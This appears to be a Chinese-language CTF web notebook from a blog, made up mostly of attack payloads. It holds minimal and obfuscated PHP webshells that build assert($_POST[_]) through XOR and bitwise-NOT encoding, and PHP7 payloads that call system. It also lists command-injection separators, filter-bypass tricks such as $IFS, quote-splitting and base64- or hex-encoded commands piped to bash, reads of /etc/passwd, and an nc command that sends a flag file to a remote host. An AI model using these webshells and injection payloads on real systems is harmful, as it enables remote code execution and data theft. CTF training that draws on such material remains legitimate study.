web笔记

Web手册

PHP - CTF - WEB 相关技巧

超短shell

1
2
3
4
5
#极限shell

payload:
没开短标签<?=`. /t*/*`;
开了短标签<?`. /t*/*`;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#无参
payload:
<?= `whoami`?>
<?=`$_GET[1]`?>
<?=`. /t*/*`;
<?= include$_GET[1];?>

#参数-%a0
payload:?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>

#变形shell
payload:
<?php
$_ = "!((%)("^"@[[@[\\"; //构造出assert
$__ = "!+/(("^"~{`{|"; //构造出_POST
$___ = $$__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);

#变形shell(php7)

payload: http://xxx.com/?_=system&__=id'
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);

#变形shell
payload:
<?php
$_++; //得到1,此时$_=1
$__ = "极";
$___ = ~($__{$_}); //得到a,此时$___="a"
$__ = "区";
$___ .= ~($__{$_}); //得到s,此时$___="as"
$___ .= ~($__{$_}); //此时$___="ass"
$__ = "皮";
$___ .= ~($__{$_}); //得到e,此时$___="asse"
$__ = "十";
$___ .= ~($__{$_}); //得到r,此时$___="asser"
$__ = "勺";
$___ .= ~($__{$_}); //得到t,此时$___="assert"
$____ = '_'; //$____='_'
$__ = "寸";
$____ .= ~($__{$_}); //得到P,此时$____="_P"
$__ = "小";
$____ .= ~($__{$_}); //得到O,此时$____="_PO"
$__ = "欠";
$____ .= ~($__{$_}); //得到S,此时$____="_POS"
$__ = "立";
$____ .= ~($__{$_}); //得到T,此时$____="_POST"
$_ = $$____; //$_ = $_POST
$___($_[_]); //assert($_POST[_])

#变形shell
payload:
<?php
$_ = ~"%9e%8c%8c%9a%8d%8b"; //得到assert,此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab"; //得到_POST,此时$__="_POST"
$___ = $$__; //$___=$_POST
$_($___[_]); //assert($_POST[_])

#过滤;
payload: 分号我们只是用在结束PHP语句上,我们只要把所有的PHP语句改成短标签形式,就可以不使用;了。

#过滤$
payload: 过滤了$的影响是我们彻底不能构造变量了。

#php7-执行whoami
payload:?cmd=(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');

payload:?cmd=${~%A0%B8%BA%AB}{%ff}(~%88%97%90%9E%92%96);&%ff=system

payload:?cmd=${~%A0%B8%BA%AB}{%ff}();&%ff=phpinfo

payload:<?=$_?>

payload:

命令执行

1
2
#内联执行
payload:cat$IFS$1`ls`
1
2
3
4
##文本形式查看/下所有文件
payload: cat /*
##ls
ls > a.txt

下所有文件包括flag

使用内联执行会将 ``内的输出作为前面命令的输入,当我们输入上述payload时,等同于cat falg.php;cat index.php

linux已有·字符

${PS2} 对应字符 '>'

${PS4} 对应字符 '+'

${IFS} 对应 内部字段分隔符

${9} 对应 空字符串

连接命令

payload:& payload:&& payload:| payload:|| payload:;

#命令分隔---linuxpayload:%0a payload:%0d

#命令分隔0---windows payload:%0a payload:& payload:| payload:|| payload:&&

通配符读取

在正则表达式中,?这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或一次。

在 Shell 命令行中,?这样的通配符与其它字符一起组合成表达式,匹配任意一个字符。

同理,我们可以知道*通配符:

在正则表达式中,*这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或多次。

在shell命令行中,*这样的通配符与其它字符一起组合成表达式,匹配任意长度的字符串。这个字符串的长度可以是0,可以是1,可以是任意数字。

1
2
3
4
5
6
7
8
9
10
11
12
#假设flag在/flag中:
cat /fla?
cat /fla*
#假设flag在/flag.txt中:
cat /fla????
cat /fla*
#假设flag在/flags/flag.txt中:
cat /fla??/fla????
cat /fla*/fla*
#假设flag在flagg文件加里:
cat /?????/fla?
cat /?????/fla*

替换空格

1
2
3
4
5
6
7
8
9
payload:$IFS$1
payload:$IFS
payload:${IFS}
payload:<
payload:<>
payload:%20 [space]
payload:%09 [tab]

payload: {cat,/etc/passwd} //绕过空格限制

变量拼接

1
2
##变量替换
payload: http://xx.com/xx.php?cmd=127.0.0.1;a=g;cat$IFS$1fla$a.php

sh替换bash

1
2
3
##echo cat flag.php |base64 sh
##cat flag.php|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

关键字过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#打断关键字-----特殊变量
payload:$*
payload:$@
payload:$x [x=1~9]
payload:${x} [x>=10]没有传参情况下,特殊变量皆为空

#打断关键字-----反斜杠
payload:ca\t
payload:who\ami
payload:wh$1oami
payload:who$@ami
payload:who$*ami

#反向输出
payload:tac

#打断关键字-----引号
payload:c`a`t
payload:chmo""d
payload:chmo''d

#打断关键字-----统配符
&/bin/c*t …/key.p?p
&/bin/c’a’t …/key.p?p
&/bin/c"a"t …/key.p?p
&/bin/c\a\t …/key.p?p

#打断关键字-----变量赋值
&a=c;b=at;a aab …/key.p?p

#打断关键字-----编码
payload:echo `Y2F0IHN0YXJ0LnNo`|base64 -d |bash #cat start.sh
payload:echo 63617420666c61672e706870 | xxd -r -p|bash #cat flag.php
payload:(printf"\154\163") #ls
payload:(printf"\x63\x61\x74\x20\x73\x74\x61\x72\x74\x2e\x73\x68") #cat start.sh
payload:
payload:

黑名单绕过

1
2
3
4
5
#拼接--cat flag
payload: a=c;b=at;c=flag;$a$b $c

#已存在变量
payload:

网络地址转化数字

1
2
3
4
5
payload:
http:127.0.0.1 ---> http://2130706433
---> http://0x7F000001

转化工具:http://www.msxindl.com/tools/ip/ip_num.asp

花式读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
cat:  由第一行开始显示内容,并将所有内容输出
tac: 从最后一行倒序显示内容,并将所有内容输出
more: 根据窗口大小,一页一页的现实文件内容
less: 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head: 只显示头几行
tail: 只显示最后几行
nl: 类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件
dir 来查看当前目录文件


od -a ./flag.txt 以二进制查看
base64 -d ./flag.txt 以base64解码查看
static -sh ./flag.txt
paste ./flag.txt
diff ./flag.txt
bzmore ./flag.txt
bzless ./flag.txt
curl file:///var/www/html/flag.txt
nc 10.10.10.10 444 < /var/www/html/flag.txt 配合 nc -l 4444 >flag.txt
wget url -P path

sort
vi
vim
xxd
cp
awk
nano



web笔记
https://blog.njcit.me/2023/08/12/CTF/Web手册/
作者
ccadmin
发布于
2023年8月12日
许可协议